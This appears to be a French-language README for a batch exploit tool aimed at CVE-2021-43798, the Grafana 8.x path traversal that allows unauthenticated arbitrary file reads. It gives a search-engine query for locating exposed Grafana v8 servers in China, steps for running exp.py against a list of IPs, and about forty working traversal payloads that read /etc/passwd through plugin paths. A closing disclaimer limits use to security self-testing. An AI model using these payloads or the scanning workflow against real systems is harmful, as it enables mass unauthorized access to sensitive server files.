asaotomo/cve-2021-43798-grafana-expGrafanav8.* Outil de détection par lots de la vulnérabilité de lecture arbitraire de fichiers : Cette vulnérabilité est actuellement une vulnérabilité 0-day, un attaquant non autorisé peut obtenir des fichiers sensibles du serveur en l'exploitant.
Grafana est une suite d'analyse et de visualisation open source. Elle est souvent utilisée pour la visualisation de séries temporelles et d'analyses d'applications dans l'infrastructure, et est également largement employée dans d'autres domaines, notamment les capteurs industriels, la domotique, la météo et le contrôle de processus. La version 8.* présente une vulnérabilité de lecture de fichier arbitraire. Cette vulnérabilité est actuellement un 0-day, permettant à un attaquant non authentifié d'obtenir des fichiers sensibles du serveur.
app="Grafana" && country="CN" && body="v8."
1. Placer les adresses IP à tester dans le fichier ip.txt
2. Exécuter python3 exp.py
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
Cet outil est fourni uniquement pour permettre aux testeurs de sécurité de procéder à des auto-vérifications. L'auteur n'est pas responsable des conséquences d'une mauvaise utilisation par les utilisateurs. Les utilisateurs doivent respecter les lois locales. Ce programme ne doit pas être utilisé à des fins commerciales, seulement pour l'apprentissage et l'échange.
